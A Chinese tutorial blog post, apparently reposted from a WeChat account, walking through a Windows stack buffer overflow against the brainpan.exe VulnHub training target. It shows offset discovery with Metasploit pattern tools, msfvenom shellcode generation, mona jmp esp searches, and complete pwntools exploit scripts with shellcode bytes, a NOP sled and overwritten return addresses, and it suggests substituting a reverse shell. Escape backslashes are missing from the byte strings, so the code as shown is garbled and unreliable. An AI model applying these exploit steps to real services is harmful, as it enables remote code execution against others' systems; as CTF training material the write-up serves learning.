web选手入门pwn(6)

渗透技巧 2年前 (2022) admin
518 0 0

1.    工具和命令
windows上的pwn除了linux的东西之外,还需要准备一些其他东西,Immunity Debugger/OllyDBG,mona.py。

Immunity Debugger/OllyDBG常用命令
F8
步进
F9
运行到下一断点
F2
断点
!mona jmp -r esp -cpb “x00”
搜索无00的jmp esp

2.    brainpan.exe

http://www.vulnhub.com/entry/brainpan-1,51/
https://github.com/kezibei/pwn_study/blob/main/brainpan.exe
vulnhub上的一个靶机溢出,比较简单适合拿来入门。
首先和linuxpwn一样要确定编译后的文件属性,有无保护等,这里有winchecksec,但网上评价似乎不太好用。
以及区分32位还是64位程序,这里有很多种办法,比如直接双击后去任务管理器看,ida反编译等等。我推荐直接用7zip打开,然后文件——属性。

web选手入门pwn(6)

接下来去ida中看代码。

web选手入门pwn(6)

细心点跟进get_reply,可以发现溢出点strcpy

web选手入门pwn(6)

strcpy的溢出原理非常简单,Destination分配的空间只有520,当传入的Source超过这个值后就会发生栈溢出。
我们实际运行这个程序,可以发现其在9999端口开启了一个tcp服务。

web选手入门pwn(6)

通过nc简单交互如下。

web选手入门pwn(6)

和其他pwn一样,输入超长字符串,发生崩溃,软件会闪退。
那么我们开始调试,用Immunity Debugger加载。

web选手入门pwn(6)

加载文件后弹出brainpan.exe的黑框,此时软件并未运行。界面和OD是一样的,左上汇编,右上寄存器,右下栈。往下翻一翻可以发现strcpy,F2打个断点。

web选手入门pwn(6)

然后F9运行brainpan.exe,nc发送AAAA。
汇编出现蓝色光标,断点成功。
F8单步执行后,栈中出现41414141,此地址被写入eax。

web选手入门pwn(6)

此时和之前学pwn的知识就联系上了,由于存在栈溢出漏洞,可以无限向上写栈,那么0x5FF704也可以写入AAAA,比它高的栈上也一样,可以一直覆盖到返回地址。
返回地址在哪儿呢?ebp的后4位,看寄存器中ebp的地址,0x5FF908,那么返回地址就是0x5FF90C。

web选手入门pwn(6)

计算一下ebp-eax。

web选手入门pwn(6)

和Destination分配的空间一致,因此偏移量为524,手动试一下,用python生成520个A和4个C,nc发送。

web选手入门pwn(6)

EBP被精准的赋值为CCCC,那么payload就是524位的padding加4位地址。
同样的,我们也可以利用那些生成规律字符串的工具帮我们快速定位偏移量。
msf-pattern_create -l 1000
nc发送后直接两个F9引发程序崩溃,此时EIP地址如下。

web选手入门pwn(6)

msf-pattern_offset -q 0x35724134

web选手入门pwn(6)

接下来就是确定返回地址,显然这题没有直接system的后门函数,因此要使用shellcode。回顾一下同样使用shellcode的ret2stack,是将shellcode放在了栈上,这题用同样的方法(windows似乎默认就是栈可执行)试试。
先生成简单的弹计算器shellcode。
msfvenom -p windows/exec cmd=”calc.exe” exitfunc=thread -b “x00” -f c
同样由于不方便在cmd中输入特殊字符,用python来代替nc,网上很多文章都用的python原生socket交互,很显然我们可以在windows上也安装pwntools,不过其没有linux上的好用。

from pwn import *
context.log_level = 'debug'sh = remote('127.0.0.1',9999)print(sh.recv())buf = "xddxc5xbax0cxa4xa7xa0xd9x74x24xf4x5ex31xc9xb1"buf +="x31x31x56x18x83xc6x04x03x56x18x46x52x5cxc8x04"buf +="x9dx9dx08x69x17x78x39xa9x43x08x69x19x07x5cx85"buf +="xd2x45x75x1ex96x41x7ax97x1dxb4xb5x28x0dx84xd4"buf +="xaax4cxd9x36x93x9ex2cx36xd4xc3xddx6ax8dx88x70"buf +="x9bxbaxc5x48x10xf0xc8xc8xc5x40xeaxf9x5bxdbxb5"buf +="xd9x5ax08xcex53x45x4dxebx2axfexa5x87xacxd6xf4"buf +="x68x02x17x39x9bx5ax5fxfdx44x29xa9xfexf9x2ax6e"buf +="x7dx26xbex75x25xadx18x52xd4x62xfex11xdaxcfx74"buf +="x7dxfexcex59xf5xfax5bx5cxdax8bx18x7bxfexd0xfb"buf +="xe2xa7xbcxaax1bxb7x1fx12xbexb3x8dx47xb3x99xdb"buf +="x96x41xa4xa9x99x59xa7x9dxf1x68x2cx72x85x74xe7"buf +="x37x69x97x22x4dx02x0exa7xecx4fxb1x1dx32x76x32"buf +="x94xcax8dx2axddxcfxcaxecx0dxbdx43x99x31x12x63"buf +="x88x51xf5xf7x50xb8x90x7fxf2xc4"payload = "A"*524 + "x00x5FXF9x10"[::-1] + bufsh.send(payload)

web选手入门pwn(6)

如图,返回地址成功写入,但0x5FF910地址上并不是我们想象中的shellcode,因此不会成功。
然而再往高位栈上翻一翻,会发现shellcode。

web选手入门pwn(6)

那么修改一下即可成功溢出。

payload = "A"*524 + "x00x5FXFDx40"[::-1] + buf

web选手入门pwn(6)

这是为什么呢?在shellcode生成的命令中我们用到了-b “x00″去除坏字符,道理是一样的,strcpy存在00截断,因此005FF910地址不能用。用115FF910和115F0010测试一下就会明白。

115FF910,不存在00,因此5FF910栈被写入shellcode。

web选手入门pwn(6)

115F0010,存在00,被截断在0010。

web选手入门pwn(6)

005FFD40这个地址可能是其他方法压的栈,在本地虽然能够溢出成功,但不稳定,也无法用来做原题,因此我们需要找到其他溢出方法。那就是jmp esp。
jmp esp即为无条件跳转esp指向的地址,而esp由于其特性,始终指向栈顶,因此很稳定,方便我们执行栈中的shellcode。
jmp esp可以用mona插件找出来,同样需要排除坏字符(注意执行后cpu界面会强制置顶,因此需要切换l和c)。
!mona jmp -r esp -cpb “x00”

web选手入门pwn(6)

web选手入门pwn(6)

这个地址同样可以在ida中的后门函数_winkwink找到。

web选手入门pwn(6)

写出poc。

payload = "A"*524 + "x31x17x12xF3"[::-1] + buf

F8步进,在ret的时候,观察esp。

web选手入门pwn(6)

jmp esp的时候指向shellcode

web选手入门pwn(6)

成功在栈中执行。

web选手入门pwn(6)

但最后并没有成功,因为还需要在jmp esp和shellcode之间填充一定数量的nop。
最终exp。

from pwn import *
context.log_level = 'debug'sh = remote('127.0.0.1',9999)print(sh.recv())buf = "xddxc5xbax0cxa4xa7xa0xd9x74x24xf4x5ex31xc9xb1"buf +="x31x31x56x18x83xc6x04x03x56x18x46x52x5cxc8x04"buf +="x9dx9dx08x69x17x78x39xa9x43x08x69x19x07x5cx85"buf +="xd2x45x75x1ex96x41x7ax97x1dxb4xb5x28x0dx84xd4"buf +="xaax4cxd9x36x93x9ex2cx36xd4xc3xddx6ax8dx88x70"buf +="x9bxbaxc5x48x10xf0xc8xc8xc5x40xeaxf9x5bxdbxb5"buf +="xd9x5ax08xcex53x45x4dxebx2axfexa5x87xacxd6xf4"buf +="x68x02x17x39x9bx5ax5fxfdx44x29xa9xfexf9x2ax6e"buf +="x7dx26xbex75x25xadx18x52xd4x62xfex11xdaxcfx74"buf +="x7dxfexcex59xf5xfax5bx5cxdax8bx18x7bxfexd0xfb"buf +="xe2xa7xbcxaax1bxb7x1fx12xbexb3x8dx47xb3x99xdb"buf +="x96x41xa4xa9x99x59xa7x9dxf1x68x2cx72x85x74xe7"buf +="x37x69x97x22x4dx02x0exa7xecx4fxb1x1dx32x76x32"buf +="x94xcax8dx2axddxcfxcaxecx0dxbdx43x99x31x12x63"buf +="x88x51xf5xf7x50xb8x90x7fxf2xc4"payload = "A"*524 + "x31x17x12xF3"[::-1] + "x90"*16 + bufsh.send(payload)

web选手入门pwn(6)

实际做题的时候替换成反弹shell的就行了。


如果没有后门函数提供jmp esp,也可以从系统组件中寻找。
jmp esp汇编对应的16进制符为xFFXe4,在kali中可生成。
msf-nasm_shell
jmp esp

web选手入门pwn(6)

也可以由pwntools获取。
from pwn import *
asm(‘jmp esp’)

web选手入门pwn(6)

mona插件通过16进制并指定文件搜索。
!mona find -s “xffxe4” -m “C:WindowsSystem32KERNEL32.DLL”


原文始发于微信公众号(珂技知识分享):web选手入门pwn(6)

版权声明:admin 发表于 2022年10月12日 下午5:20。
转载请注明:web选手入门pwn(6) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...